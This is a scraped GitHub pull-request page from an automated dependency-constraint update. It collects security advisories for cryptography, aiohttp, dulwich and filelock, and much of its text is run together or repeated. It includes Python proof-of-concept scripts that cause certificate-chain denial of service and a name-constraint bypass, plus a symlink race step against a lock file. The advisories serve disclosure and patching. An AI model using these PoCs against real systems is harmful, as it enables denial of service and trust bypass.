Updated constraints due security reasons (triggered on 2026-08-24T12:58:35+00:00 by c905a20fad2737606db6cc5cbdcd90c1f655595a) - #287
Merged
Conversation
github-actions
Bot
force-pushed
the
create-pull-request/patch-audit-constraints
branch
from
August 17, 2026 12:51
86bc258 to
17b9312
Compare
github-actions
Bot
force-pushed
the
create-pull-request/patch-audit-constraints
branch
from
August 24, 2026 12:58
17b9312 to
62ee8a7
Compare
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Fixed dependency issues for Python 3.10
pkcs7_decrypt_der,pkcs7_decrypt_pem, andpkcs7_decrypt_smimereported the outcome of decrypting aRecipientInfo'sencryptedKeyin several distinguishable ways, one of which disclosed the exact length recovered from the RSA operation. The same distinction was also observable by timing. An application that decrypts attacker-suppliedEnvelopedDataand reflects the outcome gives the attacker a Bleichenbacher oracle against the content-encryption key. Introduced in 44.0.0. Fixed in 50.0.0. ### Details Decryption ran as: RSA PKCS#1 v1.5 decrypt ofencryptedKey→ build an AES cipher from the result → AES-CBC decrypt and PKCS#7 unpad. Each stage failed differently, with no RFC 3218 mitigation: 1. invalid RSA padding →Decryption failed2. valid padding, bad key length →Invalid key size (N) for AES., disclosingN3. correct length, wrong key →Invalid padding bytes.4. the real key → plaintext Case 1 is reachable only where the linked library lacks implicit rejection: OpenSSL 3.0 and 3.1, LibreSSL, and BoringSSL. On OpenSSL 3.2+, used in our wheels, invalid padding instead returns a synthetic plaintext of pseudorandom length, so the error channel does not distinguish conforming ciphertexts. Exploitation requires a service that auto-decrypts untrustedEnvelopedDatamatching the victim certificate and answers adaptively at high volume, such as an S/MIME gateway or mail filter. ### Fix Per RFC 3218, the content-encryption algorithm is now resolved before the private key is used, so the expected key length is known in advance. If the RSA decryption fails or recovers a key of the wrong length, a random key of the expected length is substituted and decryption continues down an identical path. All failures now report identically and perform the same work. ### Not addressed by this fixEnvelopedDatadoes not authenticate its content. Tampering withencryptedContentalone yields a CBC padding oracle that recovers plaintext at roughly 256 queries per byte, without recovering any key, on every backend. This is a property of PKCS#7 rather than of this implementation, cannot be fixed in the library, and is now documented. ### Credit Reported by @X1AOxiang.Fixed dependency issues for Python 3.11
pkcs7_decrypt_der,pkcs7_decrypt_pem, andpkcs7_decrypt_smimereported the outcome of decrypting aRecipientInfo'sencryptedKeyin several distinguishable ways, one of which disclosed the exact length recovered from the RSA operation. The same distinction was also observable by timing. An application that decrypts attacker-suppliedEnvelopedDataand reflects the outcome gives the attacker a Bleichenbacher oracle against the content-encryption key. Introduced in 44.0.0. Fixed in 50.0.0. ### Details Decryption ran as: RSA PKCS#1 v1.5 decrypt ofencryptedKey→ build an AES cipher from the result → AES-CBC decrypt and PKCS#7 unpad. Each stage failed differently, with no RFC 3218 mitigation: 1. invalid RSA padding →Decryption failed2. valid padding, bad key length →Invalid key size (N) for AES., disclosingN3. correct length, wrong key →Invalid padding bytes.4. the real key → plaintext Case 1 is reachable only where the linked library lacks implicit rejection: OpenSSL 3.0 and 3.1, LibreSSL, and BoringSSL. On OpenSSL 3.2+, used in our wheels, invalid padding instead returns a synthetic plaintext of pseudorandom length, so the error channel does not distinguish conforming ciphertexts. Exploitation requires a service that auto-decrypts untrustedEnvelopedDatamatching the victim certificate and answers adaptively at high volume, such as an S/MIME gateway or mail filter. ### Fix Per RFC 3218, the content-encryption algorithm is now resolved before the private key is used, so the expected key length is known in advance. If the RSA decryption fails or recovers a key of the wrong length, a random key of the expected length is substituted and decryption continues down an identical path. All failures now report identically and perform the same work. ### Not addressed by this fixEnvelopedDatadoes not authenticate its content. Tampering withencryptedContentalone yields a CBC padding oracle that recovers plaintext at roughly 256 queries per byte, without recovering any key, on every backend. This is a property of PKCS#7 rather than of this implementation, cannot be fixed in the library, and is now documented. ### Credit Reported by @X1AOxiang.Fixed dependency issues for Python 3.12
pkcs7_decrypt_der,pkcs7_decrypt_pem, andpkcs7_decrypt_smimereported the outcome of decrypting aRecipientInfo'sencryptedKeyin several distinguishable ways, one of which disclosed the exact length recovered from the RSA operation. The same distinction was also observable by timing. An application that decrypts attacker-suppliedEnvelopedDataand reflects the outcome gives the attacker a Bleichenbacher oracle against the content-encryption key. Introduced in 44.0.0. Fixed in 50.0.0. ### Details Decryption ran as: RSA PKCS#1 v1.5 decrypt ofencryptedKey→ build an AES cipher from the result → AES-CBC decrypt and PKCS#7 unpad. Each stage failed differently, with no RFC 3218 mitigation: 1. invalid RSA padding →Decryption failed2. valid padding, bad key length →Invalid key size (N) for AES., disclosingN3. correct length, wrong key →Invalid padding bytes.4. the real key → plaintext Case 1 is reachable only where the linked library lacks implicit rejection: OpenSSL 3.0 and 3.1, LibreSSL, and BoringSSL. On OpenSSL 3.2+, used in our wheels, invalid padding instead returns a synthetic plaintext of pseudorandom length, so the error channel does not distinguish conforming ciphertexts. Exploitation requires a service that auto-decrypts untrustedEnvelopedDatamatching the victim certificate and answers adaptively at high volume, such as an S/MIME gateway or mail filter. ### Fix Per RFC 3218, the content-encryption algorithm is now resolved before the private key is used, so the expected key length is known in advance. If the RSA decryption fails or recovers a key of the wrong length, a random key of the expected length is substituted and decryption continues down an identical path. All failures now report identically and perform the same work. ### Not addressed by this fixEnvelopedDatadoes not authenticate its content. Tampering withencryptedContentalone yields a CBC padding oracle that recovers plaintext at roughly 256 queries per byte, without recovering any key, on every backend. This is a property of PKCS#7 rather than of this implementation, cannot be fixed in the library, and is now documented. ### Credit Reported by @X1AOxiang.Fixed dependency issues for Python 3.13
pkcs7_decrypt_der,pkcs7_decrypt_pem, andpkcs7_decrypt_smimereported the outcome of decrypting aRecipientInfo'sencryptedKeyin several distinguishable ways, one of which disclosed the exact length recovered from the RSA operation. The same distinction was also observable by timing. An application that decrypts attacker-suppliedEnvelopedDataand reflects the outcome gives the attacker a Bleichenbacher oracle against the content-encryption key. Introduced in 44.0.0. Fixed in 50.0.0. ### Details Decryption ran as: RSA PKCS#1 v1.5 decrypt ofencryptedKey→ build an AES cipher from the result → AES-CBC decrypt and PKCS#7 unpad. Each stage failed differently, with no RFC 3218 mitigation: 1. invalid RSA padding →Decryption failed2. valid padding, bad key length →Invalid key size (N) for AES., disclosingN3. correct length, wrong key →Invalid padding bytes.4. the real key → plaintext Case 1 is reachable only where the linked library lacks implicit rejection: OpenSSL 3.0 and 3.1, LibreSSL, and BoringSSL. On OpenSSL 3.2+, used in our wheels, invalid padding instead returns a synthetic plaintext of pseudorandom length, so the error channel does not distinguish conforming ciphertexts. Exploitation requires a service that auto-decrypts untrustedEnvelopedDatamatching the victim certificate and answers adaptively at high volume, such as an S/MIME gateway or mail filter. ### Fix Per RFC 3218, the content-encryption algorithm is now resolved before the private key is used, so the expected key length is known in advance. If the RSA decryption fails or recovers a key of the wrong length, a random key of the expected length is substituted and decryption continues down an identical path. All failures now report identically and perform the same work. ### Not addressed by this fixEnvelopedDatadoes not authenticate its content. Tampering withencryptedContentalone yields a CBC padding oracle that recovers plaintext at roughly 256 queries per byte, without recovering any key, on every backend. This is a property of PKCS#7 rather than of this implementation, cannot be fixed in the library, and is now documented. ### Credit Reported by @X1AOxiang.Fixed dependency issues for Python 3.14
AIOHTTP_NO_EXTENSIONS=1. --- Patch: aio-libs/aiohttp@49f65d5pkcs7_decrypt_der,pkcs7_decrypt_pem, andpkcs7_decrypt_smimereported the outcome of decrypting aRecipientInfo'sencryptedKeyin several distinguishable ways, one of which disclosed the exact length recovered from the RSA operation. The same distinction was also observable by timing. An application that decrypts attacker-suppliedEnvelopedDataand reflects the outcome gives the attacker a Bleichenbacher oracle against the content-encryption key. Introduced in 44.0.0. Fixed in 50.0.0. ### Details Decryption ran as: RSA PKCS#1 v1.5 decrypt ofencryptedKey→ build an AES cipher from the result → AES-CBC decrypt and PKCS#7 unpad. Each stage failed differently, with no RFC 3218 mitigation: 1. invalid RSA padding →Decryption failed2. valid padding, bad key length →Invalid key size (N) for AES., disclosingN3. correct length, wrong key →Invalid padding bytes.4. the real key → plaintext Case 1 is reachable only where the linked library lacks implicit rejection: OpenSSL 3.0 and 3.1, LibreSSL, and BoringSSL. On OpenSSL 3.2+, used in our wheels, invalid padding instead returns a synthetic plaintext of pseudorandom length, so the error channel does not distinguish conforming ciphertexts. Exploitation requires a service that auto-decrypts untrustedEnvelopedDatamatching the victim certificate and answers adaptively at high volume, such as an S/MIME gateway or mail filter. ### Fix Per RFC 3218, the content-encryption algorithm is now resolved before the private key is used, so the expected key length is known in advance. If the RSA decryption fails or recovers a key of the wrong length, a random key of the expected length is substituted and decryption continues down an identical path. All failures now report identically and perform the same work. ### Not addressed by this fixEnvelopedDatadoes not authenticate its content. Tampering withencryptedContentalone yields a CBC padding oracle that recovers plaintext at roughly 256 queries per byte, without recovering any key, on every backend. This is a property of PKCS#7 rather than of this implementation, cannot be fixed in the library, and is now documented. ### Credit Reported by @X1AOxiang.Dependency issues not solved for Python 3.7
Request.post()method, an attacker may be able to freeze the server by exhausting the memory. ----- Patch: aio-libs/aiohttp@b7dbd35_read_chunk_from_length()):diff diff --git a/aiohttp/multipart.py b/aiohttp/multipart.py index 227be605c..71fc2654a 100644 --- a/aiohttp/multipart.py +++ b/aiohttp/multipart.py @@ -338,6 +338,8 @@ class BodyPartReader: assert self._length is not None, "Content-Length required for chunked read" chunk_size = min(size, self._length - self._read_bytes) chunk = await self._content.read(chunk_size) + if self._content.at_eof(): + self._at_eof = True return chunk async def _read_chunk_from_stream(self, size: int) -> bytes:This does however introduce some very minor issues with handling form data. So, if possible, it would be recommended to also backport the changes in: aio-libs/aiohttp@cebe526 aio-libs/aiohttp@7eecdff aio-libs/aiohttp@f21c6f2AIOHTTP_NO_EXTENSIONSis enabled, then an attacker may be able to execute a request smuggling attack to bypass certain firewalls or proxy protections. ----- Patch: aio-libs/aiohttp@259edc3web.static(..., show_index=True), the resulting index pages do not escape file names. If users can upload files with arbitrary filenames to the static directory, the server is vulnerable to XSS attacks. ### Workaround We have always recommended using a reverse proxy server (e.g. nginx) for serving static files. Users following the recommendation are unaffected. Other users can disableshow_indexif unable to upgrade. ----- Patch: https://github.com/aio-libs/aiohttp/pull/8319/filesrequest.read()method in an endpoint, it may be possible for an attacker to cause the server to spend a moderate amount of blocking CPU time (e.g. 1 second) while processing the request. This could potentially lead to DoS as the server would be unable to handle other requests during that time. ----- Patch: aio-libs/aiohttp@dc3170b Patch: aio-libs/aiohttp@4ed97a4-OorPYTHONOPTIMIZE=1), and the application includes a handler that uses theRequest.post()method, then an attacker may be able to execute a DoS attack with a specially crafted message. ------ Patch: aio-libs/aiohttp@bc1319ecookiesattribute is accessed in an application, then an attacker may be able to trigger a storm of warning-level logs using a specially crafted Cookie header. ---- Patch: aio-libs/aiohttp@64629a0web.static()(not recommended for production deployments), it may be possible for an attacker to ascertain the existence of path components. ------ Patch: aio-libs/aiohttp@f2a86fdCookieJar.load()with untrusted input may allow arbitrary code execution. Most applications using this function will be doing so with the user's own data, so this is unlikely to affect many applications. Version 3.14.0 patches the issue. If an application does allow attacker controlled files to be loaded, a workaround on older releases would be to sanitize the files before loading.cookiesparameter on requests are sent after following a cross-origin redirect. If a developer uses thecookiesparameter on a per-request basis then sensitive data might be leaked to an attacker if they manage to control a redirect. Version 3.14.0 patches the issue. If unable to upgrade, using aCookieheader in theheadersparameter is not vulnerable.AIOHTTP_NO_EXTENSIONS=1. --- Patch: aio-libs/aiohttp@49f65d5permessage-deflateextension was not negotiated. ### Impact A client may unexpectedly decompress WebSocket frames when explicitly opted out. This could lead to additional CPU/memory consumption, but is unlikely to be a significant issue unless a zip bomb vulnerability or similar is also present. --- Patch: aio-libs/aiohttp@47fb6aepkcs7_decrypt_der,pkcs7_decrypt_pem, andpkcs7_decrypt_smimereported the outcome of decrypting aRecipientInfo'sencryptedKeyin several distinguishable ways, one of which disclosed the exact length recovered from the RSA operation. The same distinction was also observable by timing. An application that decrypts attacker-suppliedEnvelopedDataand reflects the outcome gives the attacker a Bleichenbacher oracle against the content-encryption key. Introduced in 44.0.0. Fixed in 50.0.0. ### Details Decryption ran as: RSA PKCS#1 v1.5 decrypt ofencryptedKey→ build an AES cipher from the result → AES-CBC decrypt and PKCS#7 unpad. Each stage failed differently, with no RFC 3218 mitigation: 1. invalid RSA padding →Decryption failed2. valid padding, bad key length →Invalid key size (N) for AES., disclosingN3. correct length, wrong key →Invalid padding bytes.4. the real key → plaintext Case 1 is reachable only where the linked library lacks implicit rejection: OpenSSL 3.0 and 3.1, LibreSSL, and BoringSSL. On OpenSSL 3.2+, used in our wheels, invalid padding instead returns a synthetic plaintext of pseudorandom length, so the error channel does not distinguish conforming ciphertexts. Exploitation requires a service that auto-decrypts untrustedEnvelopedDatamatching the victim certificate and answers adaptively at high volume, such as an S/MIME gateway or mail filter. ### Fix Per RFC 3218, the content-encryption algorithm is now resolved before the private key is used, so the expected key length is known in advance. If the RSA decryption fails or recovers a key of the wrong length, a random key of the expected length is substituted and decryption continues down an identical path. All failures now report identically and perform the same work. ### Not addressed by this fixEnvelopedDatadoes not authenticate its content. Tampering withencryptedContentalone yields a CBC padding oracle that recovers plaintext at roughly 256 queries per byte, without recovering any key, on every backend. This is a property of PKCS#7 rather than of this implementation, cannot be fixed in the library, and is now documented. ### Credit Reported by @X1AOxiang.build_chain_inner, which does not de-duplicate against previously analyzed candidates.python fn build_chain_inner( &self, working_cert: &VerificationCertificate<'chain, B>, current_depth: u8, working_cert_extensions: &Extensions<'chain>, name_chain: NameChain<'_, 'chain>, budget: &mut Budget, ) -> ValidationResult<'chain, Chain<'chain, B>, B> { if let Some(nc) = working_cert_extensions.get_extension(&NAME_CONSTRAINTS_OID) { name_chain.evaluate_constraints(&nc.value()?, budget)?; } // Look in the store's root set to see if the working cert is listed. // If it is, we've reached the end. if self.store.contains(working_cert) { return Ok(vec![working_cert.clone()]); } // Check that our current depth does not exceed our policy-configured // max depth. We do this after the root set check, since the depth // only measures the intermediate chain's length, not the root or leaf. if current_depth > self.policy.max_chain_depth { return Err(ValidationError::new(ValidationErrorKind::Other( "chain construction exceeds max depth".into(), ))); } // Otherwise, we collect a list of potential issuers for this cert, // and continue with the first that verifies. let mut last_err: Option<ValidationError<'_, B>> = None; for issuing_cert_candidate in self.potential_issuers(working_cert) { // A candidate issuer is said to verify if it both // signs for the working certificate and conforms to the // policy. let issuer_extensions = issuing_cert_candidate.certificate().extensions()?; match self.policy.valid_issuer( issuing_cert_candidate, working_cert, current_depth, &issuer_extensions, ) { Ok(_) => { match self.build_chain_inner(A sufficient patch is to track valid issuers, and to skip seen ones before recursing. By tracking valid issuers only, validation and custom extension-policy callbacks still run.rust let mut seen_valid_issuers = Vec::<&VerificationCertificate<'chain, B>>::new(); for issuing_cert_candidate in self.potential_issuers(working_cert) { . . . Ok(_) => { if seen_valid_issuers.contains(&issuing_cert_candidate) { continue; } seen_valid_issuers.push(issuing_cert_candidate); match self.build_chain_inner( issuing_cert_candidate, // NOTE(ww): According to RFC 5280, we should onlyIn testing, this fix removed the exponential blowup without breaking apparent correctness.duplicates,max_depth,result,seconds 1,7,rejected,0.000464 -> 1,7,rejected,0.000667 2,7,rejected,0.025154 -> 2,7,rejected,0.001229 3,7,rejected,0.489924 -> 3,7,rejected,0.001619 4,7,rejected,4.309403 -> 4,7,rejected,0.002144 3,8,rejected,1.468193 -> 3,8,rejected,0.001811 4,8,timeout>5s, -> 4,8,rejected,0.002410 5,7,timeout>5s, -> 5,7,rejected,0.002640 6,6,timeout>5s, -> 6,6,rejected,0.002829### PoC The following script benchmarks processing times for malicious cert chains.python import datetime import multiprocessing import time import cryptography from cryptography import x509 from cryptography.hazmat.primitives import hashes from cryptography.hazmat.primitives.asymmetric import ec from cryptography.x509.oid import ExtendedKeyUsageOID, NameOID from cryptography.x509.verification import ( DNSName, PolicyBuilder, Store, VerificationError, ) NOW = datetime.datetime(2024, 1, 1, tzinfo=datetime.timezone.utc) TIMEOUT = 5 CA_KEY_USAGE = x509.KeyUsage( digital_signature=True, content_commitment=False, key_encipherment=False, data_encipherment=False, key_agreement=False, key_cert_sign=True, crl_sign=True, encipher_only=False, decipher_only=False, ) EE_KEY_USAGE = x509.KeyUsage( digital_signature=True, content_commitment=False, key_encipherment=False, data_encipherment=False, key_agreement=False, key_cert_sign=False, crl_sign=False, encipher_only=False, decipher_only=False, ) def name(common_name): return x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, common_name)]) def base_builder(subject, issuer, public_key, serial): return ( x509.CertificateBuilder() .subject_name(subject) .issuer_name(issuer) .public_key(public_key) .serial_number(serial) .not_valid_before(NOW - datetime.timedelta(days=1)) .not_valid_after(NOW + datetime.timedelta(days=30)) ) def make_ca(common_name, serial): private_key = ec.generate_private_key(ec.SECP256R1()) subject = name(common_name) cert = ( base_builder(subject, subject, private_key.public_key(), serial) .add_extension(x509.BasicConstraints(ca=True, path_length=None), True) .add_extension(CA_KEY_USAGE, True) .add_extension( x509.SubjectKeyIdentifier.from_public_key(private_key.public_key()), False, ) .sign(private_key, hashes.SHA256()) ) return private_key, cert def make_leaf(issuer_key, issuer_cert): private_key = ec.generate_private_key(ec.SECP256R1()) return ( base_builder(name("leaf"), issuer_cert.subject, private_key.public_key(), 100) .add_extension(x509.BasicConstraints(ca=False, path_length=None), True) .add_extension(EE_KEY_USAGE, True) .add_extension(x509.SubjectAlternativeName([x509.DNSName("example.com")]), False) .add_extension( x509.AuthorityKeyIdentifier.from_issuer_public_key(issuer_key.public_key()), False, ) .add_extension(x509.ExtendedKeyUsage([ExtendedKeyUsageOID.SERVER_AUTH]), False) .sign(issuer_key, hashes.SHA256()) ) def build_material(): looping_key, looping_ca = make_ca("looping self-signed CA", 1) _, unrelated_root = make_ca("unrelated trust anchor", 2) leaf = make_leaf(looping_key, looping_ca) return leaf, looping_ca, unrelated_root def verify_case(duplicates, max_depth, queue): leaf, looping_ca, unrelated_root = build_material() verifier = ( PolicyBuilder() .store(Store([unrelated_root])) .time(NOW) .max_chain_depth(max_depth) .build_server_verifier(DNSName("example.com")) ) start = time.perf_counter() try: verifier.verify(leaf, [looping_ca] * duplicates) result = "accepted" except VerificationError: result = "rejected" queue.put((result, time.perf_counter() - start)) def run_case(duplicates, max_depth): queue = multiprocessing.Queue() process = multiprocessing.Process( target=verify_case, args=(duplicates, max_depth, queue), ) process.start() process.join(TIMEOUT) if process.is_alive(): process.terminate() process.join() print(f"{duplicates},{max_depth},timeout>{TIMEOUT}s,") return result, elapsed = queue.get() print(f"{duplicates},{max_depth},{result},{elapsed:.6f}") if __name__ == "__main__": print("duplicates,max_depth,result,seconds") for case in [(1, 7), (2, 7), (3, 7), (4, 7), (3, 8), (4, 8), (5, 7), (6, 6)]: run_case(*case)### Impact This issue exposes an amplification pathway over data that in many applications may be user-controlled, leading to the possibility of a denial of service through resource exhaustion. As the correctness of validation is not affected, the integrity of a system cannot be compromised through this vector, only its availability.foo.example.com, and the leaf certificate has a wildcard in its DNS SAN of*.example.com, python-cryptography's verifier accepts which allows escaping outside of the permitted names. ### PoC#!/usr/bin/env python3 """Standalone PoC: pyca's DNSConstraint::matches admits a too-broad wildcard SAN. Setup: Sub-CA permitted constraint: dNSName = foo.example.com Leaf SAN: dNSName = *.example.com Expected: rejection (RFC 5280 §4.2.1.10 + standard wildcard semantics). Observed: pyca accepts; further, asks server-verifier whether the leaf is authoritative for `bar.example.com` and pyca answers yes — a sub-CA scope escape. """ import datetime from cryptography import x509 from cryptography.x509.oid import NameOID from cryptography.hazmat.primitives import hashes from cryptography.hazmat.primitives.asymmetric import ec from cryptography.x509.verification import ( PolicyBuilder, Store, ExtensionPolicy, Criticality, VerificationError, ) now = datetime.datetime(2027, 1, 1, tzinfo=datetime.timezone.utc) day = datetime.timedelta(days=1) def build(subject, issuer, key, issuer_key, ca, exts=()): b = (x509.CertificateBuilder() .subject_name(subject).issuer_name(issuer) .public_key(key.public_key()) .serial_number(x509.random_serial_number()) .not_valid_before(now - 30 * day) .not_valid_after(now + 3650 * day) .add_extension(x509.BasicConstraints(ca=ca, path_length=None), critical=True)) for e, c in exts: b = b.add_extension(e, c) return b.sign(issuer_key, hashes.SHA256()) # Root rk = ec.generate_private_key(ec.SECP256R1()) rn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Test Root")]) root = build(rn, rn, rk, rk, True) # Sub-CA constrained to foo.example.com sk = ec.generate_private_key(ec.SECP256R1()) sn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Sub-CA")]) nc = x509.NameConstraints( permitted_subtrees=[x509.DNSName("foo.example.com")], excluded_subtrees=None, ) sub = build(sn, rn, sk, rk, True, [(nc, True)]) # Leaf with SAN *.example.com (over-broad relative to the constraint) lk = ec.generate_private_key(ec.SECP256R1()) ln = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Leaf")]) san = x509.SubjectAlternativeName([x509.DNSName("*.example.com")]) leaf = build(ln, sn, lk, sk, False, [(san, False)]) # Policies ca_pol = ExtensionPolicy.permit_all().require_present( x509.BasicConstraints, Criticality.AGNOSTIC, None, ) ee_pol = ExtensionPolicy.permit_all().require_present( x509.SubjectAlternativeName, Criticality.AGNOSTIC, None, ) v = ( PolicyBuilder() .store(Store([root])) .time(now) .extension_policies(ca_policy=ca_pol, ee_policy=ee_pol) .build_server_verifier(x509.DNSName("bar.example.com")) ) try: v.verify(leaf, [sub]) print("BUG: pyca trusted leaf as bar.example.com though sub-CA was constrained to foo.example.com") except VerificationError as e: print(f"EXPECTED: VerificationError: {e}")### Impact Acceptance of invalid certificate chain.1 was rejected; git2, git10, GIT1, etc. were all accepted. Contributing configuration bugs made matters worse. The core.protectNTFS and core.protectHFS settings were looked up under a wrong option name and so user-set values were silently ignored, and core.protectNTFS only defaulted to true on Windows (Git upstream has defaulted it to true everywhere since CVE-2019-1353). Both have been corrected. Anyone who clones, fetches, or checks out an untrusted repository with Dulwich on Windows - either through the Dulwich CLI, porcelain.clone, or any downstream tool built on Dulwich - is impacted. POSIX clones are not directly exploitable (on POSIX \ is a literal filename byte), but a POSIX user can unknowingly propagate a malicious tree to Windows consumers via push or re-publication. ## Patches Fixed in Dulwich 1.2.5. Users should upgrade to 1.2.5 or later. The fix lives in three commits: - Read core.protectNTFS / core.protectHFS under their documented option names so user-set values are honored. - Default core.protectNTFS to true on every platform, matching Git's PROTECT_NTFS_DEFAULT=1. - Reject , :, and all git~ 8.3 short-name forms in validate_path_element_ntfs. ## Workarounds There is no effective pre-patch workaround. On affected versions the core.protectNTFS configuration key was silently ignored, so setting it to true does not mitigate the issue. Users who cannot upgrade should avoid cloning, fetching, or checking out untrusted repositories with Dulwich on Windows. After upgrading the NTFS validator is on by default on every platform, so no additional configuration is required. ## Resources - Git upstream path validation: https://github.com/git/git/blob/master/path.c (is_ntfs_dotgit, verify_path) - CVE-2019-1353 — the Git upstream vulnerability that established core.protectNTFS = true as the cross-platform default - CVE-2019-1354 — backslash-in-tree-path class in Git, analogous to this issuesrc/filelock/_unix.py:39-44): ```python def _acquire(self) -> None: ensure_directory_exists(self.lock_file) open_flags = os.O_RDWRfilelockpackage -SoftFileLockclass File:src/filelock/_soft.pylines 17-27 CWE: CWE-362, CWE-367, CWE-59 --- ## Description A TOCTOU race condition vulnerability exists in theSoftFileLockimplementation of the filelock package. An attacker with local filesystem access and permission to create symlinks can exploit a race condition between the permission validation and file creation to cause lock operations to fail or behave unexpectedly. The vulnerability occurs in the_acquire()method betweenraise_on_not_writable_file()(permission check) andos.open()(file creation). During this race window, an attacker can create a symlink at the lock file path, potentially causing the lock to operate on an unintended target file or leading to denial of service. ### Attack Scenario1. Lock attempts to acquire on /tmp/app.lock 2. Permission validation passes 3. [RACE WINDOW] - Attacker creates: ln -s /tmp/important.txt /tmp/app.lock 4. os.open() tries to create lock file 5. Lock operates on attacker-controlled target file or fails--- ## Impact What kind of vulnerability is it? Who is impacted? This is a Time-of-Check-Time-of-Use (TOCTOU) race condition vulnerability affecting any application usingSoftFileLockfor inter-process synchronization. Affected Users: - Applications usingfilelock.SoftFileLockdirectly - Applications using the fallbackFileLockon systems withoutfcntlsupport (e.g., GraalPy) Consequences: - Silent lock acquisition failure - applications may not detect that exclusive resource access is not guaranteed - Denial of Service - attacker can prevent lock file creation by maintaining symlink - Resource serialization failures - multiple processes may acquire "locks" simultaneously - Unintended file operations - lock could operate on attacker-controlled files CVSS v4.0 Score: 5.6 (Medium) Vector: CVSS:4.0/AV:L/AT:L/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N Attack Requirements: - Local filesystem access to the directory containing lock files - Permission to create symlinks (standard for regular unprivileged users on Unix/Linux) - Ability to time the symlink creation during the narrow race window --- ## Patches _Has the problem been patched? What versions should use